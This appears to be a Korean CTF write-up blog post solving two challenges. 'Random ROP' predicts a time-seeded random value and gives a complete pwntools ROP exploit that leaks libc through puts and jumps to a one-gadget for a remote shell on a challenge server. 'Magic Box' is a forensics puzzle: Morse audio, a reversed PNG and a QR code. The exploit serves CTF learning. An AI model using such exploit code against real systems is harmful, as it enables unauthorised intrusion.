Random ROP

vuln 함수에서 gets 함수를 이용하기 때문에 취약점이 터진다.
하지만 이 vuln 함수를 실행하기 위해서는

이렇게 만들어진 랜덤 값과 동일한 값을 입력해줘야 갈 수 있다.
이는 파이썬의 Ctypes 모듈을 이용하여 동일하게 구현해 줄 수 있기 때문에 동일한 값을 입력해 줄 수 있다.
그리고는 puts 함수로 got를 릭하여 libc 주소를 알아낸 후 원가젯으로 이동시켜 주면 된다.
from pwn import *
from ctypes import CDLL
r = remote("211.170.162.121",3333)
#r = process("./Random_ROP")
#gdb.attach(r)
libc = CDLL("./libc.so.6")
puts_plt = 0x400700
puts_got = 0x602018
pop_rdi = 0x400b43
vuln = 0x40099b
r.recv(1024)
r.sendline("A")
r.recv(1024)
r.sendline("A")
t = libc.time(0)
libc.srand(t)
random = libc.rand()
r.recv(1024)
#pause()
r.sendline(str(random))
payload = "A"*0x400
payload += "A"*8 # sfp
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln)
r.recv(9000)
r.sendline(payload)
pause()
r.recvuntil("OK!\n")
puts_libc = u64(r.recv(6).ljust(8,"\x00"))
libc_base = puts_libc - 0x809c0
onegadget = libc_base + 0x4f322 # 0x4f322 0x10a38c
print hex(puts_libc)
payload = "A"*0x400
payload += "A"*8
payload += p64(onegadget)
r.recv(1024)
r.sendline(payload)
r.interactive()

실행시키면 이렇게 flag를 얻을 수 있다.
Magic Box

이 파일을 들어보면 삐- 삐- 소리가 나온다. 딱 봐도 모스코드여서 인터넷에서 translator를 이용해 값을 구했다.


다음은 png 파일이 있다. hexedit으로 살펴보면

파일의 헥스 값이 다 거꾸로 되어있는 것 같다.
그러니
< 2.png xxd -p -c1 | tac | xxd -p -r > output.png
이 명령어를 사용해 파일의 헥스 값을 다시 되돌려보면

_the_라고 보이는 사진이 나오게 된다.

이 파일의 "속성"에 들어가서 "자세히"에 가보면

2019/10/31이라는 flag를 얻을 수 있다.

qr 코드를 찍으면 될 것 같다. 근데 초록색으로 덮여서 인식이 안된다.

다 다시 그려서 넣어줬다.
그럼 _DSEC라는 문자열을 얻을 수 있다.
다 합쳐보면 flag{FLAGSTARTS_the_2019/10/31_DSEC} 이다.
근데 안됐다. 게싱하다가 팀원분이 FLAGSTARTS에서 FLAG는 안쓴다는 것을 알았내셨다.
그래서 flag는 flag{STARTS_the_2019/10/31_DSEC} 이다.
'CTF' 카테고리의 다른 글
간단한 바이너리 익스 + NX (0) | 2020.08.25 |
---|---|
Dream hack - rev-basic-2 (0) | 2020.08.07 |
Layer7 CTF Write up (0) | 2019.10.07 |
YISF 예선 CTF 7 문제 풀이 (2) | 2019.08.12 |
디미CTF 풀이 (총 8문제 풀이) (0) | 2019.07.11 |